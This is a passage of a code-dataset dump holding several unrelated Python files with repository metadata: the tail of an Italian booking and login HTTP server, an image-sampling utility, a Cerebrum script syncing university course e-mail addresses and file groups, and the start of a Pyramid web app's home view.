''' +output\n succP2='''

Clicca qui per tonrare indietro--> Indietro

'''\n #comunico al client che il mesasggio post è stato ricevuto correttamente\n self.send_response(200)\n except: \n self.send_error(404, 'Campi non compilati presenti!')\n return;\n self.end_headers()\n #invio al client un messaggio di ricevuta consegna\n self.wfile.write(bytes(succP1+succP2, 'utf-8'))\n \n # Salvataggio prenotazione in formato json in un file (ipotetico database)\n with open(\"json/prenotazioni.json\", \"r+\") as out:\n lines = out.readlines()\n #eliminazione ultime due righe di chiusura json\n out.seek(0)\n out.truncate()\n out.writelines(lines[:-2])\n #creazione stringa da aggiungere in fondo al file, per aggiungere\n #prenotazione nuova effettuata\n info = ',{\"name\": \"' + name + '\",\"lastName\" :\"' + lastName +'\", \"doctor\" : \"'+ doctor+ '\",\"service\" : \"'+ healthService + '\" } \\n'\n info += '] \\n }'\n #scrittura nuova prenotazione con chiusura oggetto json\n out.write(info)\n\n def do_POST(self):\n print(\"POST path: \"+self.path)\n #con l'if vado a distiguere i casi dei due form, quello delle prenotazini\n #da quello utilizzato per il login dell'admin\n if (self.path == PRENOT_PAGE):\n self.doPrenotazione()\n \n else :\n #RICHIESTA (POST) LOGIN PAGINA ADMIN\n if (self.path == ADMIN_PAGE):\n print(\"\\nlogin_POST\")\n self.checkLogin()\n \n else :\n self.send_error(404, 'Richiesta non gestita')\n\nHandler = MyHttpRequestHandler\n#configurazione di un server multi thread per consentire l'accesso multimo\nserver = socketserver.ThreadingTCPServer(server_addr,Handler)\n\nserver.daemon_threads = True \n\n#concede la riassegnazione del socket\nserver.allow_reuse_address = True\n\n\n#funzione interupt per consentire l'arresto del server corretamente\ndef signal_handler(signal, frame):\n print(\"Ctrl+C premuto: interruzione http server...\")\n try:\n if (server):\n server.server_close()\n print('server terminato correttamente')\n finally:\n sys.exit()\n \n#l'interupt da tastiera (ctrl-c) avvia signal_handler\nsignal.signal(signal.SIGINT, signal_handler)\nprint(\"Server avviato correttamente\\n\")\nprint(\"...in attesa di richieste sulla porta: \"+ str(port))\nwhile True:\n server.serve_forever()\n\nserver.server_close()", "repo_name": "TeoV00/prog_reti", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 12681, "program_lang": "python", "lang": "it", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.argv", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 34, "usage_type": "attribute"}, {"api_name": "http.server.server", "line_number": 75, "usage_type": "attribute"}, {"api_name": "http.server", "line_number": 75, "usage_type": "name"}, {"api_name": "w3lib.url.url_query_parameter", "line_number": 91, "usage_type": "call"}, {"api_name": "w3lib.url.url_query_parameter", "line_number": 92, "usage_type": "call"}, {"api_name": "w3lib.url.url_query_parameter", "line_number": 93, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 100, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 138, "usage_type": "call"}, {"api_name": "cgi.FieldStorage", "line_number": 152, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 165, "usage_type": "call"}, {"api_name": "HTMLdataGenerate.genAdminHTMLPage", "line_number": 172, "usage_type": "call"}, {"api_name": "HTMLdataGenerate.refreshCovidData", "line_number": 210, "usage_type": "call"}, {"api_name": "HTMLdataGenerate.genPrenotVisita", "line_number": 217, "usage_type": "call"}, {"api_name": "http.server.server.SimpleHTTPRequestHandler.do_GET", "line_number": 229, "usage_type": "call"}, {"api_name": "http.server.server", "line_number": 229, "usage_type": "attribute"}, {"api_name": "http.server", "line_number": 229, "usage_type": "name"}, {"api_name": "cgi.FieldStorage", "line_number": 235, "usage_type": "call"}, {"api_name": "socketserver.ThreadingTCPServer", "line_number": 291, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 307, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 310, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 310, "usage_type": "attribute"}]} {"seq_id": "40984226037", "text": "import random\nimport argparse\nimport os\nimport shutil\nimport sys\nif os.name == 'nt':\n import win32api, win32con\n\n\ndef check_positive(number):\n if number <= 0:\n sys.exit('ERROR! The supplied number is 0 or negative. Only numbers greater than 0 are allowed.')\n\n\ndef is_hidden(file):\n if os.name == 'nt':\n if win32api.GetFileAttributes(file) & (win32con.FILE_ATTRIBUTE_HIDDEN | win32con.FILE_ATTRIBUTE_SYSTEM):\n return True\n else:\n if os.path.basename(file).startswith('.'):\n return True\n\n return False\n\n\n# Generate random number between 0 and step size\ndef random_start(limit):\n # TODO: We could add a seed into SystemRandom(*seed*) to make runs reproducible\n start = random.SystemRandom().randint(0, limit - 1) # Limit -1 as we start at 0\n print('Randomly starting at file no. ' + str(start + 1))\n return start\n\n\n# Get a list of the files\ndef list_dir(path, file_extension=None):\n try:\n files = os.listdir(path)\n except PermissionError:\n sys.exit('ERROR! Could not read directory ' + path + '. No permission.')\n except FileNotFoundError:\n sys.exit('ERROR! Could not read directory ' + path + '. Invalid path.')\n\n files.sort()\n\n data = []\n if file_extension is not None:\n for file in files:\n if file.endswith(file_extension):\n if not is_hidden(path + file):\n data.append(path + file)\n return data\n else:\n for file in files:\n if not is_hidden(path + file):\n data.append(path + file)\n return data\n\n\n# Generate list of files to copy\ndef draw_sample(files, start, step):\n size = len(files)\n if size < start or size < step:\n sys.exit('ERROR! Step size is larger than number of files! '\n 'Choose a smaller step size and check that you are working on the correct directory.')\n\n sample_set = []\n i = start\n while i < size: # This is important! The index of the last file is len - 1, as the index starts at 0!\n sample_set.append(files[i])\n i = i + step\n\n return sample_set\n\n\n# Perform copying action\ndef write_sample(sample_set, destination=None):\n if destination is not None:\n path = destination\n else:\n path = 'sample'\n print('No directory specified, writing output to folder ' + path + '/')\n\n # Check if path exists\n if os.path.exists(path):\n # If it exists it should be empty\n if len(os.listdir(path)) != 0:\n sys.exit('ERROR! The directory ' + path + ' is not empty. '\n 'Please specify another directory using the -o option.')\n # If not, try to create it\n else:\n try:\n os.mkdir(path)\n except PermissionError:\n sys.exit('ERROR! Could not create directory ' + path + '. No permission.')\n except FileNotFoundError:\n sys.exit('ERROR! Could not create directory ' + path + '. Invalid path.')\n\n for entry in sample_set:\n shutil.copy2(entry, path) # TODO: Should we follow symlinks?\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Draw a uniform random sample from a folder containing an image stack')\n parser.add_argument('step', action='store', type=int, help='Step size')\n parser.add_argument('directory', action='store', type=str, help='Directory containing the image stack')\n parser.add_argument('-o', '--output', action='store', type=str, required=False,\n help='Directory to write the sample to. '\n 'If not supplied, a folder with the name sample is created in the current directory')\n parser.add_argument('-f', '--filetype', action='store', type=str, required=False,\n help='Type of the files to draw a sample from '\n '(e.g. if non images are present in the directory)')\n # TODO: Option to link files?\n # This would safe space if the user works on the same machine the image stack is located on\n\n # TODO: Option to supply random value seed to recreate a specific run?\n\n # TODO: Option to specify a file pattern? => Would extend the file type filter\n\n # TODO: Status output for bored users?\n\n args = parser.parse_args()\n\n step_size = args.step\n directory = args.directory\n output = args.output\n filetype = args.filetype\n\n check_positive(step_size)\n\n print('Generating list of files')\n file_list = list_dir(directory, filetype)\n\n print('Creating a random number')\n start_point = random_start(step_size)\n\n print('Creating list of samples')\n sample = draw_sample(file_list, start_point, step_size)\n\n print('Writing samples to output directory')\n write_sample(sample, output)\n\n print('Done!')\n", "repo_name": "labode/surs_generator_py", "sub_path": "surs_generator.py", "file_name": "surs_generator.py", "file_ext": "py", "file_size_in_byte": 4836, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.name", "line_number": 6, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 12, "usage_type": "call"}, {"api_name": "os.name", "line_number": 16, "usage_type": "attribute"}, {"api_name": "win32api.GetFileAttributes", "line_number": 17, "usage_type": "call"}, {"api_name": "win32con.FILE_ATTRIBUTE_HIDDEN", "line_number": 17, "usage_type": "attribute"}, {"api_name": "win32con.FILE_ATTRIBUTE_SYSTEM", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "random.SystemRandom", "line_number": 29, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 37, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 39, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 41, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 86, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 87, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 92, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 94, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 96, "usage_type": "call"}, {"api_name": "shutil.copy2", "line_number": 99, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 103, "usage_type": "call"}]} {"seq_id": "43245945825", "text": "from __future__ import unicode_literals\n\nimport sys\nimport argparse\nimport re\nimport datetime\nimport logging\nfrom six import text_type\n\nimport cereconf\nimport Cerebrum.logutils\nfrom Cerebrum import Errors\nfrom Cerebrum.utils import date_compat\nfrom Cerebrum.Utils import Factory\nfrom Cerebrum.modules import Email\nfrom Cerebrum.modules import PosixGroup\n\nlogger = logging.getLogger(__name__)\ndb = co = group_creator = dryrun = None\n\n\ndef get_email_target_and_address(address):\n ea = Email.EmailAddress(db)\n try:\n ea.find_by_address(address)\n except Errors.NotFoundError:\n return (None, None)\n et = Email.EmailTarget(db)\n et.find(ea.email_addr_target_id)\n return (et, ea)\n\n\ndef delete_email_address(address):\n et, ea = get_email_target_and_address(address)\n if et is None:\n logger.debug(\"Would delete <%s>\", address)\n return\n logger.info(\"Deleting <%s>\", address)\n\n # We can't delete this EA, if there is an epat attached to it.\n # Before we can drop ea, remove epat (or we'll get constraint violation\n # from the db)\n try:\n epat = Email.EmailPrimaryAddressTarget(db)\n epat.find(ea.email_addr_target_id)\n epat.delete()\n logger.debug(\"Deleted *primary* address <%s>\", address)\n except Errors.NotFoundError:\n pass\n\n ea.delete()\n for r in et.get_addresses():\n logger.info(\"There are addresses left\")\n return\n logger.debug(\"Deleting target as well\")\n et.delete()\n\n\ndef update_email_address(address, group):\n et, ea = get_email_target_and_address(address)\n if et:\n if et.email_target_type != co.email_target_multi:\n logger.error(\"Wrong existing target type for <%s>\", address)\n return\n if et.email_target_entity_id == group.entity_id:\n logger.debug(\"Up-to-date <%s>\", address)\n return\n et.email_target_entity_id = group.entity_id\n logger.info(\"Updating <%s>\", address)\n et.write_db()\n else:\n et = Email.EmailTarget(db)\n try:\n et.find_by_target_entity(group.entity_id)\n logger.info(\"Added address <%s>\", address)\n except Errors.NotFoundError:\n et.populate(co.email_target_multi,\n target_entity_type=co.entity_group,\n target_entity_id=group.entity_id)\n et.write_db()\n logger.info(\"Created <%s>\", address)\n ed = Email.EmailDomain(db)\n lp, dom = address.split('@')\n ed.find_by_domain(dom)\n ea = Email.EmailAddress(db)\n ea.populate(lp, ed.entity_id, et.entity_id)\n ea.write_db()\n\n\ndef find_leaf(group):\n target_group = None\n for member in group.search_members(group_id=group.entity_id):\n member_type = int(member[\"member_type\"])\n member_id = int(member[\"member_id\"])\n\n if member_type == co.entity_account:\n return group\n elif member_type == co.entity_group:\n g = get_group(member_id)\n if re.search(r'-sek(:\\d|$)', g.group_name):\n continue\n # if there was another group member, we shouldn't recurse.\n if target_group:\n return group\n else:\n target_group = g\n # if group passed as argument has _no_ members, return None\n if target_group is None:\n return target_group\n else:\n return find_leaf(target_group)\n# end find_leaf\n\n\ndef sync_email_address(address, group):\n if group is None:\n delete_email_address(address)\n else:\n update_email_address(address, group)\n\n# the horrors, the horrors.\n# http://www.uio.no/for-ansatte/arbeidsstotte/sta/enheter/mn/institutter/ifi/epostlister/\n\n\ndef shorten_course_name(course):\n fgname = course\n fgname = fgname.replace(\"matinf\", \"mi\", 1)\n fgname = fgname.replace(\"infmat\", \"mi\", 1)\n fgname = fgname.replace(\"infverk\", \"iv\", 1)\n fgname = fgname.replace(\"humit\", \"hi\", 1)\n # there are currently no MODxxxx courses, perhaps they won't return.\n # so I reuse the \"im\" abbreviation for MED-INFxxxx\n fgname = fgname.replace(\"medinf\", \"im\", 1)\n fgname = fgname.replace(\"mod\", \"im\", 1)\n fgname = fgname.replace(\"infps\", \"ip\", 1)\n # INFxxx used to stay as infxxx, but there won't be any more three digit\n # codes, so we change it to just \"i\" unconditionally.\n fgname = fgname.replace(\"inf\", \"i\", 1)\n fgname = fgname.replace(\"in\", \"in\", 1)\n fgname = fgname.replace(\"dig\", \"id\", 1)\n fgname = fgname.replace(\"tool\", \"it\", 1)\n return fgname[:6]\n\n\ndef convert_activitynumber(act):\n # support for TVI has not been added, it will probably not return\n\n if act == 'grl':\n return 'g' # the filegroup for all the teachers\n elif act in range(200, 300):\n delim = 'p' # activity for profession students\n act = act % 100\n elif act in range(300, 400):\n delim = 'm' # activity MOD students\n act = act % 100\n else:\n delim = '-'\n act -= 1\n if act < 26:\n return delim + \"%c\" % (ord('a') + act)\n else:\n return \"%c%c\" % (ord('a') + act/26, ord('a') + act % 26)\n\n\ndef make_filegroup_name(course, act, names):\n \"\"\"Return a name which can be used for a filegroup. If the group\n would duplicate a different filegroup, return None.\n\n \"\"\"\n # If there is both a 3000 and a 4000 course, they are guaranteed to\n # have the same teachers. This could be a HUMIT course, too.\n m = re.search(r'(.*)4(\\d{3})(\\D*)$', course)\n if m:\n if m.group(1) + '3' + m.group(2) + m.group(3) in names:\n return None\n\n # HUMITxxxxMN and HUMITxxxx are the same. We prefer the long\n # version with 'MN' since the teachers happen to be registered\n # there at the time of writing (FIXME).\n m = re.search(r'^(humit\\d{4})$', course)\n if m:\n if m.group(1) + 'mn' in names:\n return None\n return names[course] + convert_activitynumber(act)\n\n\ndef add_members(gname, new_members):\n \"\"\"Add the new members to existing group gname.\n\n This is not a sync, so other members are left alone. The new_members is a\n dict with group_id as key. The value for each key is arbitrary.\"\"\"\n\n group = get_group(gname)\n for memb in group.search_members(group_id=group.entity_id,\n member_type=co.entity_group):\n member_id = int(memb[\"member_id\"])\n if member_id in new_members:\n del new_members[member_id]\n for memb in new_members.keys():\n logger.debug(\"Adding %s to %s\", get_group(memb).group_name, gname)\n if not group.has_member(memb):\n group.add_member(memb)\n group.write_db()\n# end add_members\n\n\ndef sync_filegroup(fgname, group, course, act):\n posix_group = PosixGroup.PosixGroup(db)\n # Make the group last a year or so. To avoid changing the database\n # every night, we only change expire date if it has less than three\n # month to live.\n expdate = datetime.date.today() + datetime.timedelta(days=365)\n refreshdate = expdate - datetime.timedelta(days=31*3)\n try:\n fgroup = get_group(fgname)\n except Errors.NotFoundError:\n logger.info(\"Created new file group %s\", fgname)\n posix_group.populate(\n creator_id=group_creator,\n visibility=co.group_visibility_all,\n name=fgname,\n description=\"Gruppelærere %s gruppe %s\" % (course.upper(), act),\n expire_date=expdate,\n group_type=co.group_type_ifi_auto,\n )\n posix_group.write_db()\n else:\n posix_group.find(fgroup.entity_id)\n # make sure the group is alive\n expire_date = date_compat.get_date(posix_group.expire_date)\n if expire_date and expire_date < refreshdate:\n logger.info(\n \"Extending life of %s from %s to %s\",\n fgname,\n expire_date,\n refreshdate\n )\n posix_group.expire_date = expdate\n posix_group.write_db()\n\n uptodate = False\n for row in posix_group.search_members(group_id=posix_group.entity_id,\n member_filter_expired=False):\n member_type = int(row[\"member_type\"])\n member_id = int(row[\"member_id\"])\n if member_type != co.entity_group:\n logger.info(\"Removing member %d from %s\", member_id, fgname)\n posix_group.remove_member(member_id)\n elif member_id != group.entity_id:\n logger.info(\"Removing group member %d from %s\", member_id, fgname)\n posix_group.remove_member(member_id)\n else:\n uptodate = True\n if not uptodate:\n logger.info(\"Adding %s to %s\", group.group_name, fgname)\n if not posix_group.has_member(group.entity_id):\n posix_group.add_member(group.entity_id)\n\n # finally check the spread. we leave any additionally added spreads\n # alone.\n uptodate = False\n for r in posix_group.get_spread():\n if int(r['spread']) == int(co.spread_ifi_nis_fg):\n uptodate = True\n break\n if not uptodate:\n logger.info(\"Adding NIS_fg@ifi to %s\", fgname)\n posix_group.add_spread(co.spread_ifi_nis_fg)\n return posix_group\n\n\ndef process_groups(super, fg_super):\n # make a note of what filegroups are automatically maintained\n auto_fg = {}\n try:\n fg_super_gr = get_group(fg_super)\n except Errors.NotFoundError:\n # first time we run this\n fg_super_gr = Factory.get('Group')(db)\n fg_super_gr.populate(\n creator_id=group_creator,\n visibility=co.group_visibility_internal,\n name=fg_super,\n description=(\"Ikke-eksporterbar gruppe. Hvilke \"\n \"filgrupper som er automatisk opprettet som \"\n \"følge av Ifi-automatikk\"),\n group_type=co.group_type_ifi_auto,\n )\n fg_super_gr.write_db()\n else:\n for row in fg_super_gr.search_members(group_id=fg_super_gr.entity_id,\n member_type=co.entity_group,\n member_filter_expired=False):\n auto_fg[int(row[\"member_id\"])] = True\n\n # fetch super group's members and update accordingly\n todo = {}\n vortex_access = {}\n # short_name contains the shortened name for every known course\n short_name = {}\n start_group = get_group(super)\n for row in start_group.search_members(group_id=start_group.entity_id,\n member_type=co.entity_group,\n member_filter_expired=False):\n member_id = int(row[\"member_id\"])\n group = get_group(member_id)\n if group.group_name.startswith(('sinf', 'sin')):\n continue\n course = act = None\n m = re.match(r'g(\\w+)-(\\d+)$', group.group_name)\n if m:\n course = m.group(1)\n act = int(m.group(2))\n # activity 0 is the course itself\n if act == 0:\n vortex_access[member_id] = True\n # this group often has a single member which is a\n # different group, so get rid of needless indirection.\n leaf = find_leaf(group)\n else:\n m = re.match(r'g(\\w+)$', group.group_name)\n if m:\n course = m.group(1)\n act = 'grl'\n # we don't want to recurse in this case, we might end up\n # with a leaf node which has already been assigned a\n # different e-mail address. this would trigger a\n # constraint.\n #\n # FIXME: handle the case where a single e-mail target is\n # in charge of more than one group.\n leaf = get_group(group.group_name)\n if course:\n sync_email_address(\"%s-%s@ifi.uio.no\" % (course, act), leaf)\n if course not in short_name:\n short_name[course] = shorten_course_name(course)\n if leaf and act:\n todo[\"%s-%s\" % (course, act)] = (course, act, leaf)\n\n for course, act, group in todo.values():\n fgname = make_filegroup_name(course, act, short_name)\n if fgname is None:\n logger.debug(\"Skipping %s-%s, it is an alias\", course, act)\n continue\n fgroup = sync_filegroup(fgname, group, course, act)\n if fgroup.entity_id in auto_fg:\n del auto_fg[fgroup.entity_id]\n else:\n logger.info(\"New automatic filegroup %s for %s-%s\",\n fgname, course, act)\n\n if not fg_super_gr.has_member(fgroup.entity_id):\n fg_super_gr.add_member(fgroup.entity_id)\n\n add_members(\"ifivtx\", vortex_access)\n\n # the groups in auto_fg are obsolete, and we remove all members. we\n # will however keep the PosixGroup around, since the files still\n # exist on disk, and it is painful if the gid changes every time a\n # course is held (they are usually held either during Spring or\n # Autumn, so half the year they are invalid).\n for fgname in auto_fg:\n fgroup = get_group(fgname)\n for row in fgroup.search_members(group_id=fgroup.entity_id,\n member_filter_expired=False):\n logger.info(\"Remove %s %d from obsolete filegroup %s\",\n co.EntityType(row[\"member_type\"]),\n row[\"member_id\"], fgroup.group_name)\n fgroup.remove_member(row[\"member_id\"])\n\n fgroup.write_db()\n# end process_groups\n\n\ndef get_group(id):\n gr = Factory.get('Group')(db)\n if isinstance(id, text_type):\n gr.find_by_name(id)\n else:\n gr.find(id)\n return gr\n\n\ndef get_account(name):\n ac = Factory.get('Account')(db)\n ac.find_by_name(name)\n return ac\n\n\ndef main():\n global db, co, group_creator, dryrun\n\n db = Factory.get('Database')()\n db.cl_init(change_program='ifi_auto')\n co = Factory.get('Constants')(db)\n\n parser = argparse.ArgumentParser(\n formatter_class=argparse.RawTextHelpFormatter,\n description=\"\"\"Usage: ifi_auto.py [options]\n Update e-mail addresses and filegroups associated with courses\n taught at Deptartment of Informatics.\"\"\")\n parser.add_argument('-d', '--dryrun',\n help=\"Don't commit changes to database\",\n action='store_true',\n dest='dryrun',\n default=False)\n\n Cerebrum.logutils.options.install_subparser(parser)\n args = parser.parse_args()\n Cerebrum.logutils.autoconf('cronjob', args)\n supergroup = \"internal:uio.no:fs:{autogroup}\"\n fg_supergroup = \"internal:uio.no:fs:{ifi_auto_fg}\"\n group_creator = get_account(cereconf.INITIAL_ACCOUNTNAME).entity_id\n process_groups(supergroup, fg_supergroup)\n if not args.dryrun:\n logger.debug(\"commit...\")\n db.commit()\n logger.info(\"All done\")\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "unioslo/cerebrum", "sub_path": "contrib/no/uio/ifi_auto.py", "file_name": "ifi_auto.py", "file_ext": "py", "file_size_in_byte": 15079, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "Cerebrum.modules.Email.EmailAddress", "line_number": 23, "usage_type": "call"}, {"api_name": "Cerebrum.modules.Email", "line_number": 23, "usage_type": "name"}, {"api_name": "Cerebrum.Errors.NotFoundError", "line_number": 26, "usage_type": "attribute"}, {"api_name": "Cerebrum.Errors", "line_number": 26, "usage_type": "name"}, {"api_name": "Cerebrum.modules.Email.EmailTarget", "line_number": 28, "usage_type": "call"}, {"api_name": "Cerebrum.modules.Email", "line_number": 28, "usage_type": "name"}, {"api_name": "Cerebrum.modules.Email.EmailPrimaryAddressTarget", "line_number": 44, "usage_type": "call"}, {"api_name": "Cerebrum.modules.Email", "line_number": 44, "usage_type": "name"}, {"api_name": "Cerebrum.Errors.NotFoundError", "line_number": 48, "usage_type": "attribute"}, {"api_name": "Cerebrum.Errors", "line_number": 48, "usage_type": "name"}, {"api_name": "Cerebrum.modules.Email.EmailTarget", "line_number": 72, "usage_type": "call"}, {"api_name": "Cerebrum.modules.Email", "line_number": 72, "usage_type": "name"}, {"api_name": "Cerebrum.Errors.NotFoundError", "line_number": 76, "usage_type": "attribute"}, {"api_name": "Cerebrum.Errors", "line_number": 76, "usage_type": "name"}, {"api_name": "Cerebrum.modules.Email.EmailDomain", "line_number": 82, "usage_type": "call"}, {"api_name": "Cerebrum.modules.Email", "line_number": 82, "usage_type": "name"}, {"api_name": "Cerebrum.modules.Email.EmailAddress", "line_number": 85, "usage_type": "call"}, {"api_name": "Cerebrum.modules.Email", "line_number": 85, "usage_type": "name"}, {"api_name": "re.search", "line_number": 100, "usage_type": "call"}, {"api_name": "re.search", "line_number": 172, "usage_type": "call"}, {"api_name": "re.search", "line_number": 180, "usage_type": "call"}, {"api_name": "Cerebrum.modules.PosixGroup.PosixGroup", "line_number": 208, "usage_type": "call"}, {"api_name": "Cerebrum.modules.PosixGroup", "line_number": 208, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 212, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 212, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 212, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 213, "usage_type": "call"}, {"api_name": "Cerebrum.Errors.NotFoundError", "line_number": 216, "usage_type": "attribute"}, {"api_name": "Cerebrum.Errors", "line_number": 216, "usage_type": "name"}, {"api_name": "Cerebrum.utils.date_compat.get_date", "line_number": 230, "usage_type": "call"}, {"api_name": "Cerebrum.utils.date_compat", "line_number": 230, "usage_type": "name"}, {"api_name": "Cerebrum.Errors.NotFoundError", "line_number": 277, "usage_type": "attribute"}, {"api_name": "Cerebrum.Errors", "line_number": 277, "usage_type": "name"}, {"api_name": "Cerebrum.Utils.Factory.get", "line_number": 279, "usage_type": "call"}, {"api_name": "Cerebrum.Utils.Factory", "line_number": 279, "usage_type": "name"}, {"api_name": "re.match", "line_number": 310, "usage_type": "call"}, {"api_name": "re.match", "line_number": 321, "usage_type": "call"}, {"api_name": "Cerebrum.Utils.Factory.get", "line_number": 376, "usage_type": "call"}, {"api_name": "Cerebrum.Utils.Factory", "line_number": 376, "usage_type": "name"}, {"api_name": "six.text_type", "line_number": 377, "usage_type": "argument"}, {"api_name": "Cerebrum.Utils.Factory.get", "line_number": 385, "usage_type": "call"}, {"api_name": "Cerebrum.Utils.Factory", "line_number": 385, "usage_type": "name"}, {"api_name": "Cerebrum.Utils.Factory.get", "line_number": 393, "usage_type": "call"}, {"api_name": "Cerebrum.Utils.Factory", "line_number": 393, "usage_type": "name"}, {"api_name": "Cerebrum.Utils.Factory.get", "line_number": 395, "usage_type": "call"}, {"api_name": "Cerebrum.Utils.Factory", "line_number": 395, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 397, "usage_type": "call"}, {"api_name": "argparse.RawTextHelpFormatter", "line_number": 398, "usage_type": "attribute"}, {"api_name": "Cerebrum.logutils.logutils.options.install_subparser", "line_number": 408, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.logutils", "line_number": 408, "usage_type": "attribute"}, {"api_name": "Cerebrum.logutils", "line_number": 408, "usage_type": "name"}, {"api_name": "Cerebrum.logutils.logutils.autoconf", "line_number": 410, "usage_type": "call"}, {"api_name": "Cerebrum.logutils.logutils", "line_number": 410, "usage_type": "attribute"}, {"api_name": "Cerebrum.logutils", "line_number": 410, "usage_type": "name"}, {"api_name": "cereconf.INITIAL_ACCOUNTNAME", "line_number": 413, "usage_type": "attribute"}]} {"seq_id": "5794444966", "text": "import random\n\nimport pyramid.httpexceptions as httpexc\nfrom pyramid.view import view_config\nimport sqlalchemy as sqla\n\nfrom asb import db\nimport asb.forms\n\nempty_bulletin_messages = [\n 'The bulletin is empty for the time being. Someone has arranged all the '\n 'thumbtacks into a smiling {pokemon} face.',\n 'The bulletin is empty for the time being... aside from a gaudy ad '\n 'exclaiming \"Teach Your {pokemon} to DANCE!\", anyway.',\n 'The bulletin is empty for the time being, except for a lonely \"lost '\n '{pokemon}\" poster up in the corner. \"We miss Cupcake – last seen '\n 'Tuesday night – call if found!\"',\n 'The bulletin is empty for the time being, ignoring the six identical '\n 'flyers taking advantage of the space. \"Discover this one weird '\n 'trick invented by a local {pokemon} — Nurse Joys everywhere HATE '\n 'her!\"'\n]\n\nbank_state_labels = [\n ('approved', 'approved'),\n ('denied', 'denied'),\n ('from-mod', 'manually added by a mod')\n]\n\n(max_pokemon,) = db.DBSession.query(sqla.func.max(db.PokemonSpecies.id)).one()\n\ndef empty_bulletin_message():\n \"\"\"Return a silly message for when the trainer/mod bulletin is empty.\"\"\"\n\n pokemon = (\n db.DBSession.query(db.PokemonSpecies)\n .get(random.randrange(1, max_pokemon + 1))\n )\n\n return random.choice(empty_bulletin_messages).format(pokemon=pokemon.name)\n\n@view_config(context=Exception, renderer='/error.mako')\ndef error(error, request):\n \"\"\"Return a generic error page for an arbitrary uncaught exception.\"\"\"\n\n request.response.status_int = 500\n\n return {'status': '500 Internal Server Error', 'message': None}\n\n@view_config(context=httpexc.HTTPError, renderer='/error.mako')\ndef error_specific(error, request):\n \"\"\"Return a more helpful error page for an uncaught HTTPError.\"\"\"\n\n request.response.status_int = error.code\n\n return {\n 'status': '{} {}'.format(error.code, error.title),\n 'message': '{} (Detail: {})'.format(error.explanation, error.detail)\n }\n\n@view_config(route_name='home', renderer='/home.mako')\ndef home(context, request):\n \"\"\"The home page.\"\"\"\n\n trainer = request.user\n stuff = {\n 'empty_bulletin_message': empty_bulletin_message,\n 'news': db.DBSession.query(db.NewsPost)\n .order_by(db.NewsPost.post_time.desc())\n .limit(5)\n .all()\n }\n\n if request.has_permission('account.validate', trainer):\n stuff['bulletin'] = [\n ('Your account still needs to be validated', '/validate')\n ]\n elif trainer is not None:\n bulletin = []\n\n # Check if they're eligible for any promotions\n for promotion in trainer.promotions:\n if promotion.end_date is not None:\n message = 'Check out the {0} — ends {1}!'.format(\n promotion.name, promotion.end_date.strftime('%Y %B %d')\n )\n else:\n message = 'Check out the {0}!'.format(promotion.name)\n\n path = '/pokemon/buy#{0}'.format(promotion.identifier)\n bulletin.append((message, path))\n\n # Check if any of their Pokémon need their forms chosen\n form_uncertain_pokemon = (\n db.DBSession.query(db.Pokemon)\n .filter_by(trainer_id=trainer.id, form_uncertain=True)\n .all()\n )\n\n for pokemon in form_uncertain_pokemon:\n bulletin.append((\n \"{}'s form needs to be chosen\".format(pokemon.name),\n request.resource_path(pokemon, 'edit')\n ))\n\n # Check if any of their bank transactions have been approved/denied\n transaction_counts = dict(\n db.DBSession.query(db.BankTransaction.state, sqla.func.count('*'))\n .filter_by(trainer_id=trainer.id, is_read=False)\n .filter(db.BankTransaction.state != 'pending')\n .group_by(db.BankTransaction.state)\n )\n\n transactions = sum(transaction_counts.values())\n\n if transactions:\n breakdown = ', '.join(\n '{0} {1}'.format(transaction_counts[identifier], label)\n for (identifier, label) in bank_state_labels\n if identifier in transaction_counts\n )\n\n message = ('You have {n} new bank notification{s} ({breakdown})'\n .format(n=transactions, breakdown=breakdown,\n s='s' if transactions > 1 else ''))\n\n bulletin.append((message, '/bank#recent'))\n\n # Check if they have any gifts to claim\n for gift in trainer.pending_gifts():\n bulletin.append((\n 'You have a gift from {0}!'.format(gift.lots[0].sender.name),\n request.resource_path(gift.__parent__, gift.__name__)\n ))\n\n stuff['bulletin'] = bulletin\n\n # Find stuff to display on the Mod Bulletin, if applicable\n if any(role in ['mod', 'admin'] for role in request.effective_principals):\n # For now, we'll just assume that the only way the user has any mod\n # permissions is if they're a mod, so we don't need to check individual\n # permissions\n\n mod_stuff = []\n\n # See if there are any pending bank transactions\n pending_transactions = (\n db.DBSession.query(db.BankTransaction)\n .filter_by(state='pending')\n 